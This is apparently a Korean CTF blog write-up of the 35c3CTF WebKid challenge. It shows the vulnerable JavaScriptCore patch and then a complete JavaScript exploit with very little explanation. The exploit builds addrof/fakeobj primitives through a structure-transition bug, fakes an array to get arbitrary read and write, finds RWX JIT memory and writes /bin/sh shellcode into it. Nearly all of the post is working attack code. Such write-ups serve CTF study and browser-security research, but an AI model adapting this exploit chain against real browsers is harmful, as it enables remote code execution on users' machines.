35c3CTF WebKid exploit

35c3CTF pwnable

Posted by NextLine on August 8, 2019

35c3CTF WebKid exploit

1. Intro

JSC JIT exploit은 처음 해봤는데 확실히 watchpoint를 모르면 절대 못 풀 것 같다. 라업을 참고해 풀어서 풀이는 자세히 안 적겠다.

2. Patch

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 20fcd4032ce..a75e4ef47ba 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper
     return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);
 }
 
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
+{
+    ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
+
+    Structure* previous = structure->previousID();
+    if (!previous)
+        return false;
+
+    unsigned unused;
+    bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
+    if (!isLastAddedProperty)
+        return false;
+
+    RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
+
+    if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
+        ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
+        thisObject->setButterfly(vm, nullptr);
+    }
+
+    thisObject->setStructure(vm, previous);
+
+    return true;
+}
+
 // ECMA 8.6.2.5
 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName)
 {
@@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
 
     Structure* structure = thisObject->structure(vm);
 
-    bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
+    PropertyOffset offset = structure->get(vm, propertyName, attributes);
+    bool propertyIsPresent = isValidOffset(offset);
     if (propertyIsPresent) {
         if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable)
             return false;
 
-        PropertyOffset offset;
-        if (structure->isUncacheableDictionary())
+        if (structure->isUncacheableDictionary()) {
             offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
-        else
-            thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+        } else {
+            if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
+                thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+            }
+        }
 
-        if (offset != invalidOffset)
+        if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
             thisObject->locationForOffset(offset)->clear();
     }
 
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
index 536481ecd6a..62189fea227 100644
--- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
+++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
@@ -25,6 +25,12 @@
 (deny default (with partial-symbolication))
 (allow system-audit file-read-metadata)
 
+(allow file-read* (literal "/flag1"))
+
+(allow mach-lookup (global-name "net.saelo.shelld"))
+(allow mach-lookup (global-name "net.saelo.capsd"))
+(allow mach-lookup (global-name "net.saelo.capsd.xpc"))
+
 #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300
 (import "system.sb")
 #else

3. Exploit

let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);
let BASE = 0x100000000;
function i2f(x) {
    u32[0] = x % BASE;
    u32[1] = (x - (x % BASE)) / BASE;
    return f64[0];
}
function f2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}
function i2jsv(x) {
  u32[0] = (x % BASE);
  u32[1] = ((x - (x % BASE)) / BASE) - 0x10000;
  return f64[0];
}
function hex(x) {
    return `0x${x.toString(16)}`
}
function debug(x) {
  print(describe(x));
}
function gc() { 
    for (let i = 0; i < 0x10; i++) { 
        new ArrayBuffer(0x1000000); 
    }
}
function makeJITFunc() {
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    // Force JIT compilation.
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    return target;
}
function getE() {
  return arr[0];
}
function setE(addr) {
  arr[0] = addr;
  return;
}
let arr = [1.1, 2.2];
arr.test = 1111;
for (var i = 0; i < 100000; i++) {
  getE();
  setE(1.1);
}
delete arr.test;
arr[0] = {};
let addrof = function(obj) {
  arr[0] = obj;
  return getE();
}
let fakeobj = function(addr) {
    setE(addr);
    return arr[0];
}
// spray structures
let structs = [];
for (let i = 0; i < 0x1000; i++) {
  var tmp = [1.1];
  tmp.pointer = i2f(0x1234);
  tmp['spray' + i.toString()] = 3.3;
  structs.push(tmp);
}
// for array size
let victim = structs[0x100];
let container = {
  header : i2jsv(0x0108210700001000),
  butterfly : victim
}
let addr = f2i(addrof(container));
let fakeArray = fakeobj(i2f(addr + 0x10));
read8 = function (addr) {
  fakeArray[1] = addr + i2f(0x10);
  return addrof(victim.pointer);
}
write4 = function (addr, value) {
  fakeArray[1] = addr + i2f(0x10);
  victim.pointer = value; 
}
let func = makeJITFunc();
let funcAddr = addrof(func);
let executableAddr = read8(funcAddr + i2f(0x18));
let jitCodeObjAddr = read8(executableAddr + i2f(0x18));
let rwxMem = read8(jitCodeObjAddr + i2f(0x10));
print("rwx @ " + hex(f2i(rwxMem)));
shellcode = [0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b]
for(let i = 0; i < 0x30; i++) {
  write4(rwxMem + i2f(i * 4), i2f(0x90909090));
}
for(let i = 0; i < shellcode.length; i++) {
  write4(rwxMem + i2f(0xc0) + i2f(i * 4), i2f(shellcode[i]));
}
func();